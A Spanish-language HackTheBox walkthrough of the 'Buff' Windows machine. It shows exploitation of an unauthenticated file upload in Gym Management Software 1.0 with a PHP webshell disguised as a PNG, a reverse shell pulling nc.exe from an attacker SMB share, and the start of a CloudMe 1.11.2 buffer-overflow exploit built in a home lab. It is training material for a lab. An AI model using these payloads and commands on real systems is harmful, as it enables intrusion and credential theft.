the_open_door
café
ESEN

Buff

HackTheBoxFácilWindows10.10.10.198

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#gym-management#file-upload#webshell#rce#cloudme#buffer-overflow#eip#jmp-esp#mona#immunity-debugger#chisel#port-forwarding
TL;DR. Buff corre Gym Management Software 1.0 en el 8080, con un upload sin autenticar que permite colar una webshell PHP camuflada de PNG y ejecutar comandos como shaun. Para root, winPEAS encuentra CloudMe 1.11.2 corriendo solo en 127.0.0.1:8888; es vulnerable a un desbordamiento de búfer de pila clásico. En vez de lanzar el exploit público, lo reconstruimos entero (offset, bad chars, jmp ESP y shellcode) sobre una copia del servicio montada en un Windows 7 de laboratorio, y como el servicio de la víctima escucha en loopback montamos un túnel con chisel para alcanzarlo. Al dispararlo, NT AUTHORITY\SYSTEM.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.10.198

el ping a 10.10.10.198 responde con ttl=127, con 7 paquetes enviados y solo 1 recibido

PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=7 ttl=127 time=115 ms
^C
--- 10.10.10.198 ping statistics ---
7 packets transmitted, 1 received, 85.7143% packet loss, time 6127ms
rtt min/avg/max/mdev = 114.724/114.724/114.724/0.000 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que un 127 equivale a un salto intermedio (la VPN); indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. La pérdida del 85% de los paquetes es normal en estos laboratorios, que responden con cuentagotas al ICMP.

Escaneo de puertos

Primero el barrido completo de los 65535 puertos (escaneo de puertos). Va dentro de una función jmap definida en el .zshrc, que solo pide la IP y ya aplica las opciones de siempre:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.198 -oG scan

el escaneo completo descubre los puertos 7680 y 8080 abiertos de los 65535

Discovered open port 7680/tcp on 10.10.10.198
Discovered open port 8080/tcp on 10.10.10.198
...
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE     REASON
7680/tcp open  pando-pub   syn-ack ttl 127
8080/tcp open  http-proxy  syn-ack ttl 127

De 65535 puertos solo dos responden, y el resto sale como filtered (sin respuesta), que es la firma habitual de un cortafuegos de Windows descartando en silencio.

Para no teclear esos puertos a mano en el siguiente comando, otra función del .zshrc, extractPorts, los saca del fichero scan y los deja en el portapapeles:

extractPorts scan

extractPorts lee el fichero scan y devuelve IP Address 10.10.10.198 y Open ports 7680,8080, copiados al portapapeles

Extracting information ...

IP Address: 10.10.10.198
Open ports: 7680,8080

Ports copied to clipboard

IP Address: 10.10.10.198
Open ports: 7680,8080

Sobre esos dos lanzamos el escaneo dirigido de versiones:

nmap -sCV -Pn -p7608,8080 10.10.10.198

el escaneo de versiones da Apache 2.4.43 con PHP 7.4.6 en el 8080 y deja el otro puerto como filtered

PORT     STATE    SERVICE VERSION
7608/tcp filtered unknown
8080/tcp open     http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION

Ojo al detalle, porque explica una salida que si no despista: el puerto se tecleó como 7608 en vez de 7680, y por eso aparece como filtered. No cambia nada del ataque (el 7680 real es pando-pub, el servicio de Delivery Optimization de Windows, que no ofrece superficie), pero conviene cotejar siempre los puertos del escaneo dirigido con los del completo.

TCP 8080 - Gym Management Software 1.0

Antes de fuzzear conviene saber con qué se está hablando, así que identificamos la pila:

whatweb 10.10.10.198:8080

whatweb identifica Apache 2.4.43 sobre Win64 con PHP 7.4.6 y el título mrb3n's Bro Hut

http://10.10.10.198:8080 [200 OK] Apache[2.4.43], Bootstrap, Cookies[sec_session_id], Frame, HTML5,
HTTPServer[Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6], HttpOnly[sec_session_id], IP[10.10.10.198],
JQuery[1.11.0,1.9.1], OpenSSL[1.1.1g], PHP[7.4.6], PasswordField[password], Shopify,
Title[mrb3n's Bro Hut], Vimeo, X-Powered-By[PHP/7.4.6], X-UA-Compatible[IE=edge]

Wappalyzer no añade nada de servidor, solo el maquillaje del frontal, y esa ausencia también informa: no hay framework detectable por firmas, así que el sitio es PHP a pelo.

Wappalyzer sobre 10.10.10.198:8080 lista jQuery 1.11.0, jQuery UI 1.10.4, Bootstrap y las CDN de Google y jQuery

CDN                   Google Hosted Libraries, jQuery CDN
JavaScript libraries  jQuery 1.11.0, jQuery UI 1.10.4
UI frameworks         Bootstrap

El código fuente de la portada confirma lo mismo y no esconde nada: solo plantilla Bootstrap, hojas de estilo locales en boot/css/ y el título mrb3n's Bro Hut. Ni comentarios olvidados ni rutas internas.

el view-source de la portada muestra la plantilla Bootstrap, los CSS de boot/css y el title mrb3n's Bro Hut, sin comentarios ni rutas de interés

<title>mrb3n's Bro Hut</title>

<!-- Bootstrap core CSS -->
<link href="boot/css/bootstrap.min.css" rel="stylesheet">

<!-- Custom styles for this template -->
<link href="boot/css/main.css" rel="stylesheet">
<link href="http://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css" text="text/css" rel="stylesheet">

PHP confirmado, que es lo que decide las extensiones del siguiente paso (descubrimiento de contenido):

dirsearch -u http://10.10.10.198:8080/ --exclude-status=403,404

dirsearch lista about.php, contact.php, edit.php, register.php, upload.php y los directorios Upload y profile

[20:38:16] 200 -    5KB - /about.php
[20:38:34] 200 -    2KB - /cgi-bin/printenv.pl
[20:38:37] 200 -    4KB - /contact.php
[20:38:42] 200 -    4KB - /edit.php
[20:38:46] 200 -    4KB - /feedback.php
[20:38:47] 200 -  143B  - /home.php
[20:39:07] 301 -  345B  - /profile  ->  http://10.10.10.198:8080/profile/
[20:39:10] 200 -  137B  - /register.php
[20:39:20] 301 -  344B  - /upload  ->  http://10.10.10.198:8080/upload/
[20:39:21] 200 -  107B  - /upload.php

Un segundo barrido con gobuster y un diccionario distinto sirve de contraste, para descartar que dirsearch se dejara algo por el camino:

gobuster dir -u http://10.10.10.198:8080/ -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404

gobuster confirma profile, img y upload como los únicos directorios propios, entre varios errores de timeout

/profile              (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/profile/]
/img                  (Status: 301) [Size: 341] [--> http://10.10.10.198:8080/img/]
/upload               (Status: 301) [Size: 344] [--> http://10.10.10.198:8080/upload/]
/license              (Status: 200) [Size: 18025]
/examples             (Status: 503) [Size: 1058]
/include              (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/include/]
/phpmyadmin           (Status: 403) [Size: 1203]
[ERROR] Get "http://10.10.10.198:8080/warez": context deadline exceeded (Client.Timeout exceeded while awaiting headers)

Los [ERROR] de timeout son ruido del propio servidor, que no aguanta 100 hilos, y no ocultan nada: gobuster llega a los mismos tres directorios propios. Dos rutas destacan sobre el resto: /upload.php y el directorio /upload/ al que escribe. Un formulario de subida que además deja navegar el destino es el patrón exacto de una subida a RCE, así que ahí se concentra el esfuerzo. Y el contact.php cierra la identificación: el pie de página delata Gym Management Software 1.0.

el sitio revela que usa Gym Management Software 1.0

Shell como shaun

Gym Management 1.0: file upload no autenticado

searchsploit confirma un exploit de subida de fichero a RCE sin autenticación para esa versión exacta:

searchsploit "Gym Management"

searchsploit muestra el exploit de subida no autenticada de Gym Management 1.0

Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py

Antes de usarlo hay que leerlo, que es de donde sale toda la técnica que viene después. searchsploit -m lo copia al directorio de trabajo:

searchsploit -m php/webapps/48506.py
cat 48506.py

la cabecera de 48506.py enumera los seis pasos del ataque: upload.php sin sesión, parámetro id, doble extensión, Content-Type image/png, el one-liner PHP y el renombrado del fichero

# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-21
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Details:
#   1. Access the '/upload.php' page, as it does not check for an authenticated user session.
#   2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
#      - `upload.php?id=kamehameha`
#   3. Bypass the extension whitelist by adding a double extension, with the last one as an
#      acceptable extension (png).
#        5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
#        6 $extension = @end(explode(".", $_FILES["file"]["name"]));
#       14 && in_array($extension, $allowedExts))
#   4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to
#      'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.
#   5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:
#        <?php echo shell_exec($_GET["telepathy"]); ?>
#   6. The Web Application will rename the file to have the extension with the second item in an
#      array created from the file name; seperated by the '.' character.

Esa cabecera es el mapa completo: el fallo no es uno sino tres encadenados. El $allowedExts mira solo la última extensión, el Content-Type lo pone el cliente, y el renombrado se queda con el segundo elemento del nombre partido por puntos, que es lo que convierte pwned.php.png en pwned.php.

Antes del multipart conviene mirar la otra mitad del script, la que se usa después de subir el fichero, porque explica el paso siguiente:

la funcion webshell de 48506.py apunta a upload/kamehameha.php y manda los comandos por el parametro telepathy en un bucle interactivo

def webshell(SERVER_URL, session):
    WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
    getdir  = {'telepathy': 'echo %CD%'}
    r2 = session.get(WEB_SHELL, params=getdir, verify=False)
    ...
    while True:
        thought = raw_input(term)
        command = {'telepathy': thought}
        r2 = requests.get(WEB_SHELL, params=command, verify=False)
        print(response2)

UPLOAD_DIR = 'upload.php?id=kamehameha'

De ahí salen tres datos que valen más que el exploit entero. El webshell acaba en upload/<nombre>.php (la ruta donde aterriza el fichero), los comandos viajan por GET en el parámetro telepathy (el mismo nombre que aparecía en el shell_exec de la cabecera), y el echo %CD% inicial es solo una prueba de vida para confirmar que la shell responde antes de entrar al bucle. El propio UPLOAD_DIR confirma que el id de la subida es el que bautiza el fichero.

El cuerpo del exploit enseña cómo se materializa la subida: antepone los magic bytes de PNG al PHP y manda el conjunto con Content-Type: image/png.

el cuerpo de 48506.py define PNG_magicBytes y monta el multipart con kaio-ken.php.png, el one-liner PHP y el Content-Type image/png

PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png       = {
             'file':
              (
                'kaio-ken.php.png',
                PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
                'image/png',
                {'Content-Disposition': 'form-data'}
              )
            }
fdata   = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)

Con la técnica entendida no hace falta ejecutar el exploit tal cual: se reproduce a mano, que además deja ver cada pieza. Primero el fichero, con los magic bytes de un PNG delante del one-liner:

(echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'; echo '<?php echo shell_exec($_GET["cmd"]); ?>') > pwned.php.png
file pwned.php.png
xxd pwned.php.png

el fichero empieza por los magic bytes .PNG seguidos del one-liner PHP; file lo reporta como data

pwned.php.png: data
00000000: 8950 4e47 0d0a 1a0a 3c3f 7068 7020 6563  .PNG....<?php ec
00000010: 686f 2073 6865 6c6c 5f65 7865 6328 245f  ho shell_exec($_
00000020: 4745 545b 2263 6d64 225d 293b 203f 3e0a  GET["cmd"]); ?>.

El xxd enseña por qué funciona: los ocho primeros bytes son la firma de un PNG (89 50 4E 47, es decir .PNG), que es lo que mira la validación del servidor, y justo detrás va el PHP en claro. file lo reporta como data en vez de como imagen porque el resto del fichero no es un PNG válido, pero al uploader le basta con la cabecera.

La subida replica el multipart del exploit, con el Content-Type falseado y el pupload=upload que espera la aplicación:

curl -X POST "http://10.10.10.198:8080/upload.php?id=pwned" \
     -F "file=@pwned.php.png;type=image/png" \
     -F "pupload=upload"

el curl de subida con el parámetro id=pwned, el fichero declarado como image/png y el campo pupload=upload

El servidor no devuelve nada por pantalla, pero el id=pwned decide el nombre y el renombrado del paso 6 deja la webshell en /upload/pwned.php, que ya ejecuta comandos vía el parámetro cmd:

curl "http://10.10.10.198:8080/upload/pwned.php?cmd=whoami"
curl "http://10.10.10.198:8080/upload/pwned.php?cmd=ipconfig"

la webshell ejecuta whoami y devuelve buff\shaun

GET /upload/pwned.php?cmd=whoami  ->  buff\shaun

De webshell a reverse shell

La webshell es incómoda (un comando por petición, sin estado), así que la convertimos en shell interactiva. En Windows el camino corto es un nc.exe, y no hace falta descargarlo: ya viene con Kali y con SecLists, así que basta localizarlo y traerlo al directorio de trabajo. En lugar de servirlo por HTTP lo publicamos por SMB, porque así la víctima puede ejecutarlo directamente desde el recurso compartido, sin escribirlo antes en disco:

find / -name nc.exe 2>/dev/null
mv /home/krmena/machines/bounty/exploits/nc.exe .
smbserver.py smbFolder $(pwd) -smb2support

el find localiza varios nc.exe en Kali y en SecLists, se copia uno al directorio y smbserver.py publica la carpeta como smbFolder

/home/krmena/machines/arctic/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/nc.exe
/home/krmena/machines/blue/exploits/netcat/nc.exe
/home/krmena/machines/blue/exploits/nc.exe
/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

La llamada se lanza desde la propia barra del navegador, apuntando el cmd a la ruta UNC del recurso:

la barra del navegador con el parámetro cmd apuntando a \\10.10.16.2\smbFolder\nc.exe -e cmd, y la respuesta que solo muestra la firma PNG

http://10.10.10.198:8080/upload/pwned.php?cmd=\\10.10.16.2\smbFolder\nc.exe -e cmd 10.10.16.2 4444

La página solo devuelve el ?PNG de la cabecera falsa, porque nc.exe no escribe nada en la salida estándar del navegador: toda su actividad se va por el socket. Y ahí está la shell:

smbserver.py smbFolder $(pwd) -smb2support
rlwrap nc -nlvp 4444
whoami /priv

el smbserver registra la autenticación de BUFF\shaun con su hash NetNTLMv2 mientras el listener recibe la shell y whoami /priv solo muestra SeChangeNotifyPrivilege habilitado

[*] Incoming connection (10.10.10.198,49761)
[*] AUTHENTICATE_MESSAGE (BUFF\shaun,BUFF)
[*] User BUFF\shaun authenticated successfully
[*] shaun::BUFF:aaaaaaaaaaaaaaaa:6784dd9b9b68d5d3f0143b40fc679933:0101000000000000...
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.198] 49762
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami /priv

PRIVILEGES INFORMATION

Privilege Name                Description                      State
============================= ================================ ========
SeShutdownPrivilege           Shut down the system             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Disabled
SeTimeZonePrivilege           Change the time zone             Disabled

Tres regalos en una sola captura. El servidor SMB captura de paso el NetNTLMv2 de shaun (aquí no hace falta, pero en otro escenario sería un vector de crackeo). La ruta de la shell, C:\xampp\htdocs\gym\upload, confirma que detrás hay un XAMPP. Y el whoami /priv cierra una vía antes de abrirla: el único privilegio habilitado es SeChangeNotifyPrivilege, que lo tiene cualquier usuario, así que no hay ningún potato ni abuso de token por aquí; la escalada tendrá que venir del software instalado.

Con la shell ya interactiva, leemos la primera flag:

C:\Users> type shaun\Desktop\user.txt
cee7d793af9fc5f8606f07357995a48c

lectura de user.txt del usuario shaun

Shell como SYSTEM

winPEAS: CloudMe 1.11.2 en loopback

Si la escalada no viene de privilegios, viene de lo que hay instalado, y para eso está winPEAS (repo). Se descarga de la página de releases del proyecto, eligiendo la variante que encaja con la arquitectura de la víctima:

la página de releases de PEASS-ng con winPEASx64.exe resaltado en la lista y completado en el panel de descargas

winPEAS.bat        23756ec27a0707efe429caa1c0...   36.1 KB
winPEASany.exe     33acad498d85e29cd6592b97ae...   9.69 MB
winPEASany_ofs.exe 87c6100f3f20f35421d88bda7f...   9.55 MB
winPEASx64.exe     8fae0a4273fc5f173c94830d63...   9.69 MB

Se mueve al directorio de trabajo y se sirve desde el atacante con un http.server:

mv /home/krmena/Downloads/winPEASx64.exe .
python3 -m http.server 80

el mv del winPEASx64.exe al directorio de trabajo y el http.server sirviendo en el puerto 80

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Por el camino se renombra a winPEAS.exe, que es el nombre con el que se descarga a continuación. En la víctima se baja con curl, que ya viene de serie en Windows 10:

curl http://10.10.16.2/winPEAS.exe -o winPEAS.exe
dir

el curl descarga los 9918k de winPEAS.exe en C:\Windows\Temp\content y el dir confirma el fichero de 10.156.032 bytes

C:\Windows\Temp\content>curl http://10.10.16.2/winPEAS.exe -o winPEAS.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
100 9918k  100 9918k    0     0  3306k      0  0:00:03  0:00:03 --:--:-- 2518k

 Directory of C:\Windows\Temp\content

02/09/2025  16:36        10,156,032 winPEAS.exe

Y se ejecuta:

winPEAS.exe

winPEAS arranca con su banner ASCII y avisa de que sin el argumento fileanalysis no busca información sensible en ficheros

C:\Windows\Temp\content>winPEAS.exe
 [!] If you want to run the file analysis checks (search sensitive information in files), you need to
     specify the 'fileanalysis' or 'all' argument.
 ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the
     host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1'

  WinPEAS-ng by @hacktricks_live

Entre todo el volcado, la sección de ejecutables en carpetas no estándar con permiso de escritura destaca un nombre que no pinta nada en un servidor: CloudMe_1112.exe en el Downloads de shaun.

winPEAS marca C:\Users\shaun\Downloads\CloudMe_1112.exe con permisos shaun Allow AllAccess entre los ejecutables en carpetas no estándar

Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
  File Permissions "C:\Users\shaun\Downloads\CloudMe_1112.exe": shaun [Allow: AllAccess]

El nombre no dice nada por sí solo, así que el primer paso es averiguar qué es:

resultado de buscar "what is cloudme": un servicio europeo de almacenamiento y sincronización de ficheros en la nube

CloudMe is a European cloud storage and file synchronization service that allows users to store,
access, and share files across various devices, including computers, smartphones, and smart TVs.

Un cliente de sincronización levanta un servicio local, así que la siguiente pregunta es en qué puerto:

resultado de buscar "cloudme default port": el cliente CloudMe Sync abre un socket en el puerto TCP 8888, con un enlace a un Buffer Overflow en Exploit DB

CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8) In Qt5Core: 00564DF1.
Exploit DB · CloudMe Sync < 1.11.0 - Buffer Overflow

El propio buscador ya adelanta que ese puerto tiene historial de desbordamientos. Lo comprobamos en la víctima:

netstat -nat

netstat en la víctima muestra 127.0.0.1:8888 en LISTENING, junto al 127.0.0.1:3306 de XAMPP, mientras el 7680 y el 8080 escuchan en 0.0.0.0

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING

Ahí está la explicación de por qué el escaneo externo solo veía dos puertos: el 8888 escucha en 127.0.0.1, no en 0.0.0.0. Solo se llega desde la propia máquina. Con el servicio y la versión identificados, searchsploit remata:

searchsploit cloudme

searchsploit muestra los exploits de buffer overflow para CloudMe

Exploit Title                                   |  Path
----------------------------------------------- | ---------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)          | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py

Todos son desbordamientos. El primero, el más simple, ya trae los números hechos:

el PoC 48389.py con padding1 de 1052 bytes, el EIP 0x68A842B5 marcado como PUSH ESP RET, 30 NOPs y un payload de calc.exe

# Exploit Author: Andy Bowden
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86
#Instructions:
# Start the CloudMe service and run the script.

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload    = b"\xba\xad\x1e\x1c\x7c\x02\xdb\xcf\xd9\x74\x24\xf4..."

Ahí está todo lo que hay que reconstruir: el offset de 1052 bytes, una dirección que redirige la ejecución a la pila y una carga útil. Este exploit no se va a usar. El interés de Buff es justo el contrario: desarrollarlo desde cero, que es lo que se pide en un OSCP, y quedarse con el proceso. El PoC servirá solo como control, para contrastar al final los números obtenidos.

Laboratorio local: replicar el servicio

Reventar un servicio a base de patrones y depurador contra la máquina de producción es mala idea: cada intento fallido lo tumba y hay que esperar a que alguien lo levante. Lo suyo es montar una copia. El instalador se baja de la web del fabricante, y la versión exacta (CloudMe_1112.exe) sigue accesible cambiando el número en la URL de descarga, aunque la web ya ofrezca la 1.11.7:

la web de CloudMe ofrece la versión 1.11.7, pero forzando la URL /downloads/CloudMe_1112.exe se descarga el instalador de la 1.11.2

https://www.cloudme.com/downloads/CloudMe_1112.exe
CloudMe_1112.exe   Completed - 17.0 MB

Se instala en un Windows 7 de laboratorio (donde ya está Immunity Debugger), y aparece el primer obstáculo: el cliente no arranca el servicio hasta que hay una sesión iniciada.

el instalador CloudMe_1112 en la carpeta de Descargas junto a ImmunityDebugger_1_85_setup, y la ventana de CloudMe Sync pidiendo usuario y contraseña con el aviso de registrarse para obtener una cuenta gratuita

CloudMe Sync
  Conéctate a tu cuenta
  Nombre de usuario / Contraseña
  Regístrese para obtener una cuenta gratuita

El registro desde la propia aplicación falla, así que se hace desde la web, con un correo de usar y tirar de temp-mail:

el formulario de alta de CloudMe relleno con un correo temporal de temp-mail y el país España, antes de pulsar Create Account

Sign up for a free account
  Desired username : kmn9
  Email            : tiyaxay461@besaies.com
  Country          : Spain

Con esas credenciales ya se puede entrar desde la aplicación (el usuario acabó siendo kmn99, porque el kmn9 del formulario estaba cogido):

la ventana de CloudMe Sync con el usuario kmn99 y la contraseña rellenos, antes de pulsar Entrar

Conéctate con tu cuenta
  Nombre de usuario : kmn99
  Contraseña        : ********

La aplicación entra y el servicio queda arriba:

CloudMe Sync ya autenticado, con la pestaña Sincronizado y el aviso de 1 carpeta activa sincronizada

1 carpeta(s) activa sincronizados y actualizados con este ordenador

El puerto aparece donde se esperaba, y con la misma limitación que en la víctima real:

netstat -natp TCP

netstat en el Windows 7 de laboratorio muestra 127.0.0.1:8888 en LISTENING

  Proto  Dirección local        Dirección remota       Estado
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING

Confirmado desde el atacante: el 8888 del laboratorio tampoco se ve desde fuera.

nmap -sS -Pn --min-rate 5000 -p8888 --open -n -vvv 192.168.1.203

el escaneo del 8888 contra la IP del Windows 7 termina sin listar ningún puerto abierto

Completed SYN Stealth Scan at 20:17, 0.02s elapsed (1 total ports)
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
           Raw packets sent: 2 (72B) | Rcvd: 2 (68B)

Sin tabla PORT, es decir, sin nada abierto: el --open filtró el único puerto pedido. Ese es exactamente el problema que habrá que resolver también contra la víctima real, así que conviene resolverlo ya aquí, con chisel (repo). Antes de descargarlo hay que saber la arquitectura del Windows de laboratorio:

wmic os get osarchitecture

el wmic devuelve 32 bits y en el navegador se descarga chisel_1.7.7_windows_386.gz de la página de releases

C:\Users\usuario>wmic os get osarchitecture
OSArchitecture
32 bits

32 bits, así que toca la compilación windows_386. Viene comprimida en .gz, formato que Windows no abre de serie, de ahí el rodeo por 7-Zip:

la página de descargas de 7-Zip con el instalador de 32 bits resaltado y el asistente confirmando 7-Zip 25.01 is installed

Download 7-Zip 25.01 (2025-08-03) for Windows:
  .exe   32-bit Windows x86   7-Zip installer for Windows
7-Zip 25.01 is installed

7-Zip abre chisel_1.7.7_windows_386.gz y extrae chisel.exe de 7.352.320 bytes al escritorio

C:\Users\usuario\Desktop\chisel_1.7.7_windows_386.gz\
  Nombre      Tamaño      Tamaño comp.   Modificado
  chisel.exe  7 352 320   3 101 970      2022-01-31 04:35

El servidor se levanta en el atacante y el cliente en el laboratorio, pidiendo que el 8888 de allí salga por nuestro 8888:

chisel server --reverse -p 1234

el servidor de chisel arranca con Reverse tunnelling enabled, su fingerprint y escuchando en el 1234

2025/09/02 20:23:42 server: Reverse tunnelling enabled
2025/09/02 20:23:42 server: Fingerprint iD1iDiORm1E3/2VlZiN+jMzSaJnJ/zm57mzXfYhv2rw=
2025/09/02 20:23:42 server: Listening on http://0.0.0.0:1234
chisel.exe client 192.168.1.80:1234 R:8888

el cliente de chisel en el Windows 7 conecta con ws://192.168.1.80:1234 y reporta Connected con latencia 0s

C:\Users\usuario\Desktop>chisel.exe client 192.168.1.80:1234 R:8888
2025/09/02 20:30:22 client: Connecting to ws://192.168.1.80:1234
2025/09/02 20:30:22 client: Connected (Latency 0s)

el servidor de chisel registra las sesiones y el proxy R:8888 escuchando

2025/09/02 20:29:50 server: session#1: Client version (1.7.7) differs from server version (1.10.1-0kali1)
2025/09/02 20:29:50 server: session#1: tun: proxy#R:8888=>8888: Listening
2025/09/02 20:29:59 server: session#2: tun: proxy#R:8888=>8888: Listening

El aviso de versiones distintas es cosmético: el túnel funciona igual. La prueba es repetir el escaneo, esta vez contra nuestro propio localhost:

nmap -sS -Pn -p8888 --open -n -vvv localhost

el mismo escaneo contra localhost sí descubre el 8888 abierto, con ttl 64

Discovered open port 8888/tcp on 127.0.0.1

PORT     STATE SERVICE        REASON
8888/tcp open  sun-answerbook syn-ack ttl 64

Ya se puede hablar con CloudMe como si fuese local.

Offset: dónde cae el EIP

El primer dato que hace falta es cuántos bytes hay que enviar para que el siguiente valor caiga justo encima del EIP, el registro que guarda la dirección de la próxima instrucción. Si en vez de mandar 2000 letras iguales mandamos un patrón que nunca se repite, la porción que acabe en el EIP dirá por sí sola en qué posición estaba:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

pattern_create.rb genera el patrón cíclico de 2000 caracteres Aa0Aa1Aa2Aa3...

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1...

Con el patrón listo, se arranca CloudMe en el laboratorio y se engancha Immunity Debugger a su proceso, para ver los registros en el momento del fallo:

el diálogo Select process to attach de Immunity Debugger con el proceso CloudMe seleccionado

Select process to attach
  PID   Name       Window
  ...
  892   CloudMe    CloudMe Sync

El envío no necesita ningún exploit todavía, basta pegar el patrón en un netcat contra el puerto tunelizado:

nc 127.0.0.1 8888

el patrón cíclico pegado en la sesión de netcat contra 127.0.0.1:8888

El programa se cae, y el depurador enseña el resultado:

Immunity Debugger tras el fallo: el EIP contiene 316A4230 y el ESP apunta a la continuación del patrón

EAX 00000001
ESP 0022AB50  ASCII "Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5..."
EIP 316A4230

El EIP se ha sobrescrito con cuatro bytes del patrón, 316A4230. Devolviendo ese valor a la herramienta hermana sale la posición exacta:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x316A4230

pattern_offset.rb devuelve Exact match at offset 1052

[*] Exact match at offset 1052

1052 bytes, el mismo número que traía el PoC público. Pero un número heredado no vale: se verifica mandando exactamente 1052 A y cuatro B, y comprobando que las B caen donde deben.

for i in {1..1052}; do echo -n "A"; done; echo "BBBB"
nc 127.0.0.1 8888

el bucle genera 1052 A seguidas de BBBB y esa cadena se envía por netcat al 8888

tras el envío, el EIP de Immunity contiene 42424242 y el ESP apunta a 0022D470

EBX 41414141
ESP 0022D470
EBP 41414141
ESI 41414141
EIP 42424242

41 es la A y 42 es la B en hexadecimal, así que el relleno ocupa todo lo anterior y el EIP queda íntegramente en nuestras manos. Para que no quede duda de la equivalencia:

echo -n "42424242" | xxd -r -p

el echo con xxd -r -p convierte 42424242 en BBBB

BBBB

Confirmado: control total del EIP a partir del byte 1052. Y el ESP (0022D470) apunta a lo que venga detrás, que es donde irá el shellcode.

Bad chars: qué bytes se comen por el camino

Antes de generar carga útil hay que saber qué bytes sobreviven al viaje. Algunos (el nulo \x00, el salto de línea \x0a, el retorno \x0d) suelen ser interpretados como fin de cadena por el propio programa y truncan el payload. La forma de averiguarlo es enviar los 256 posibles y comparar en memoria byte a byte, lo que hace el plugin mona de Immunity. Primero se le indica dónde escribir:

!mona config -set workingfolder C:\Users\usuario\Downloads\Analysis

la carpeta Analysis creada en Descargas tras ejecutar el comando de configuración de mona

!mona config -set workingfolder C:\Users\usuario\Downloads\Analysis

Y se genera la tabla de referencia:

!mona bytearray

mona genera bytearray.txt y bytearray.bin en la carpeta Analysis con los 256 bytes

[+] Preparing output file 'bytearray.txt'
